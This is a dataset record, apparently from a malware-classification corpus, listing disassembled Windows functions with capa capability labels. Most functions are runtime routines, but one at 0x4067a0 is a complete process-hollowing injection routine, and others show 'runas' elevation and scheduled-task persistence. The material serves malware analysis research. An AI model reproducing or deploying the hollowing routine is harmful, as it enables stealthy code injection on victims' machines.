joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10045630
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1009fc30]
mov dword [ebp - 4], eax
jmp 0x10045649
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10045666
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10045640
mov esp, ebp
pop ebp
ret
Function at 0x1004e77a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10046dc0
mov eax, dword [0x1008a884]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.100576c6
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1004e7bc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1004e918
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.100471d0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100a0358]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.10058f2e
mov ecx, dword [esi*4 + 0x100a0358]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1004e911
cmp eax, dword [ecx + edi + 0x24]
jne 0x1004e911
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1004e911
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10058f2e
add esp, 0x14
test edx, edx
jl 0x1004e911
jg 0x1004e887
test eax, eax
jb 0x1004e911
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1004e911
jl 0x1004e8a1
cmp dword [ebp - 0x1008], eax
ja 0x1004e911
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1004e8bf
test ebx, ebx
je 0x1004e8f8
cmp ecx, edi
jae 0x1004e8f8
mov al, byte [ecx]
cmp al, 0xd
jne 0x1004e8d9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1004e8e5
cmp byte [ecx + 1], 0xa
jne 0x1004e8e5
inc ecx
jmp 0x1004e8e5
movzx eax, al
movsx eax, byte [eax + 0x1008ab08]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1004e8bf
cmp edx, ebx
jne 0x1004e8bf
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1004e916
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10046da7
leave
ret

Function at 0x10054bf1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10054c30
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10054c30
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10054c30
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10054c30
cmp dword [ecx + 0x74], 0xe
jbe 0x10054c30
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1005806a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100a0358]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100580aa
cmp byte [ebx], 0xa
jne 0x100580aa
or byte [edi + eax + 0x28], 4
jmp 0x100580af
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x100581ae
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10058191
inc eax
cmp dl, 0xd
je 0x100580db
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10058101
cmp eax, ecx
jae 0x1005810f
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x100580c3
jmp 0x100581ae
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1005818c
cmp dword [ebp - 0x10], 0
je 0x1005818c
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x100a0358]
test byte [eax + edi + 0x28], 0x48
je 0x10058166
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10058151
mov byte [esi], dl
jmp 0x10058162
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100a0358]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100581ae
cmp byte [ebp - 1], 0xa
jne 0x10058175
cmp esi, ebx
jne 0x10058175
mov byte [esi], 0xa
jmp 0x100581ad
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10058f4c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100581ae
mov byte [esi], 0xd
jmp 0x100581ad
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x100a0358]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100581ab
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100581ae
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100581b7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x100a0358]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100581fd
cmp word [ebx], dx
jne 0x100581fd
or byte [eax + edi + 0x28], 4
jmp 0x10058202
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10058365
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10058345
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10058243
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10058279
cmp eax, edx
jae 0x10058287
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1005821e
jmp 0x10058365
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10058340
cmp dword [ebp - 0x18], 0
je 0x10058340
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x100a0358]
test byte [eax + edi + 0x28], 0x48
je 0x10058316
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x100582da
mov word [esi], cx
jmp 0x10058311
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x100a0358]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100a0358]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x100a0358]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10058365
pop eax
cmp word [ebp - 4], ax
jne 0x10058326
cmp esi, ebx
jne 0x10058326
mov word [esi], ax
jmp 0x10058362
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10058f4c
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10058365
push 0xd
pop eax
jmp 0x10058321
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x100a0358]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1005835f
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10058365
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1005939f
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10076a28
push 0x10076a20
push str.FlsAlloc
push 0x1f
call fcn.100592bb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100593d3
push dword [ebp + 8]
mov ecx, esi
call dword [0x10066224]
call esi
jmp 0x100593d9
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1005941d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10076a38
push 0x10076a30
push str.FlsGetValue
push 0x21
call fcn.100592bb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10059454
push dword [ebp + 8]
mov ecx, esi
call dword [0x10066224]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1005945c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10076a40
push 0x10076a38
push str.FlsSetValue
push 0x22
call fcn.100592bb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10059496
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10066224]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1005f52a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005f5c7
push ebx
push esi
call fcn.1005f4f3
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1005c68a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1005f574
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005f5c6
push edi
push eax
call fcn.100567c6
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1005f594
call fcn.1005678c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005f5c5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1005c68a
add esp, 0x20
test eax, eax
jne 0x1005f5b3
push edi
call fcn.1005678c
jmp 0x1005f5bb
push ebx
call fcn.1005678c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10062881
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.100627fd
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100629f0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100629f0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100629a5
jg 0x100628dd
test eax, eax
je 0x1006299b
push 1
push 0x1000
call fcn.10059075
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10062900
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10062992
push 0x8000
push ebx
call fcn.1006272e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10062929
jg 0x10062924
cmp ecx, 0x1000
jb 0x10062929
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1005a0ac
add esp, 0x10
cmp eax, 0xffffffff
je 0x1006296e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10062924
jl 0x10062955
test ecx, ecx
jne 0x10062916
push dword [ebp - 0xc]
push ebx
call fcn.1006272e
push esi
call fcn.1005678c
add esp, 0xc
xor ebx, ebx
jmp 0x100629fe
cmp byte [edi + 0x24], 0
je 0x10062985
cmp dword [edi + 0x20], 5
jne 0x10062985
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10062990
mov ebx, dword [edi + 0x18]
jmp 0x10062992
xor ebx, ebx
push esi
call fcn.1005678c
pop ecx
jmp 0x100629fe
test ecx, ecx
jg 0x10062967
jl 0x100629a5
test eax, eax
jae 0x10062967
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10058f4c
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100629c5
cmp byte [edi + 0x1c], 0
je 0x10062967
jmp 0x100629f6
push ebx
call fcn.1006022e
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10062967
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x100629fe
cmp byte [edi + 0x1c], 0
je 0x100629fb
mov ebx, dword [edi + 0x18]
jmp 0x100629fe
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10058f4c
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404c30
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x464014]
xor eax, esp
mov dword [esp + 0x54], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x10], esi
mov eax, dword [eax]
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], esi
push edi
test eax, eax
jne 0x404c8b
push eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0xf
push 0x45a19b
mov byte [esi], al
call fcn.00419e30
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.0041ed61
mov esp, ebp
pop ebp
ret
mov ecx, eax
xor edi, edi
and ecx, 3
jne 0x404ca5
cmp byte [eax + edx - 1], 0x3d
je 0x404ca5
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], edi
jmp 0x404cc7
mov dword [esp + 0x18], 1
cmp ecx, 2
ja 0x404cbf
cmp byte [eax + edx - 2], 0x3d
jne 0x404cbf
mov dword [esp + 0x20], edi
jmp 0x404cc7
mov dword [esp + 0x20], 1
sub eax, dword [esp + 0x18]
and eax, 0xfffffffc
mov dword [esp + 0x40], edi
mov ecx, eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
shr ecx, 2
push 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [esp + 0x34]
add eax, dword [esp + 0x1c]
push eax
call fcn.00419cf0
cmp dword [esp + 0x44], 0x10
lea eax, [esp + 0x30]
mov edx, dword [esp + 0x14]
cmovae eax, dword [esp + 0x30]
mov dword [esp + 0x1c], eax
test edx, edx
je 0x404d95
mov esi, dword [esp + 0x2c]
lea eax, [edx - 1]
shr eax, 2
add esi, 2
inc eax
mov dword [esp + 0x28], eax
nop dword [eax]
movzx eax, byte [esi - 2]
lea esi, [esi + 4]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax*4 + 0x45af28]
movzx eax, byte [esi - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x45af28]
movzx eax, byte [esi - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x45af28]
movzx eax, byte [esi - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x45af28]
mov eax, ecx
sar eax, 0x10
mov byte [edx + edi], al
mov eax, ecx
sar eax, 8
mov byte [edx + edi + 1], al
mov eax, edx
mov byte [eax + edi + 2], cl
add edi, 3
sub dword [esp + 0x28], 1
jne 0x404d30
mov esi, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
cmp dword [esp + 0x18], 0
je 0x404df2
mov eax, dword [esp + 0x2c]
add eax, edx
mov dword [esp + 0x24], eax
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
mov edx, dword [eax*4 + 0x45af28]
shl edx, 6
or edx, dword [ecx*4 + 0x45af28]
mov ecx, dword [esp + 0x1c]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [esp + 0x20], 0
mov byte [ecx + edi], al
je 0x404df2
mov eax, dword [esp + 0x24]
sar edx, 8
movzx eax, byte [eax + 2]
mov eax, dword [eax*4 + 0x45af28]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + edi + 1], al
movups xmm0, xmmword [esp + 0x30]
mov ecx, dword [esp + 0x5c]
mov eax, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
pop edi
movq xmm0, qword [esp + 0x3c]
movq qword [esi + 0x10], xmm0
pop esi
xor ecx, esp
call fcn.0041ed61
mov esp, ebp
pop ebp
ret
Function at 0x4067a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x464014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40699b
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x40699b
push 0x44
lea eax, [ebp - 0x14c]
push 0
push eax
call fcn.00435e60
add esp, 0xc
lea eax, [ebp - 0x160]
xorps xmm0, xmm0
movups xmmword [ebp - 0x160], xmm0
push eax
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40699b
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x15c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40699b
push 0
push 4
lea eax, [ebp - 0x150]
push eax
push 0x45ad94
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 0x150], eax
jne 0x4068bc
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x150]
push dword [ebp - 0x160]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x40699b
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [edi + 6]
jae 0x406955
mov ecx, 0xa0
xor ebx, ebx
mov dword [ebp - 0x164], ecx
nop dword [eax]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + esi + 0x68]
mov eax, dword [ecx + esi + 0x6c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x64]
add eax, dword [ebp - 0x168]
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x164]
inc ebx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 0x164], ecx
cmp ebx, eax
jl 0x406910
mov ebx, dword [ebp - 0x16c]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x160]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x168]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x15c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x15c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ed61
mov esp, ebp
pop ebp
ret
Function at 0x4069c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ab18
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x464014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 2
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov edx, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push 1
push 0x45ad6c
call fcn.0041b1e0
add esp, 8
xor edx, edx
test al, al
mov ecx, 5
cmove ecx, edx
mov edx, str.runas
push ecx
mov ecx, 0x45a19b
cmovne ecx, edx
push ecx
lea ecx, [ebp + 8]
call fcn.00419e30
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x468484], esi
cmp edx, 0x10
jb 0x406a96
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406a8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b2c
push edx
push ecx
call fcn.0041f3db
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x406ad8
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ace
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b2c
push edx
push ecx
call fcn.0041f3db
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x406b1a
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b10
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b2c
push edx
push ecx
call fcn.0041f3db
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004389a7
int3
Function at 0x40add0
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b1f0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x464014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0041a280
mov byte [ebp - 4], 1
lea esi, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push 0
cmovae esi, dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40ae67
lea eax, [ebp - 0x2c]
push eax
push 0x45b338
push 1
push 0
push 0x45b328
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x40aee7
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40aea3
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ae99
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40af6a
push edx
push ecx
call fcn.0041f3db
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 0x10
jb 0x40af4e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40af44
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40af6a
jmp 0x40af44
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push 0x45b3bc
push 0x45ae90
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x20]
test eax, eax
jns 0x40ae67
cmp eax, 0x80070050
jne 0x40ae67
mov eax, dword [ebp - 0x2c]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x40af34
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40ae67
call dword [sym.imp.ole32.dll_CoUninitialize]
mov esi, 1
jmp 0x40ae69
push edx
push ecx
call fcn.0041f3db
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041ed61
mov esp, ebp
pop ebp
ret
call fcn.004389a7
int3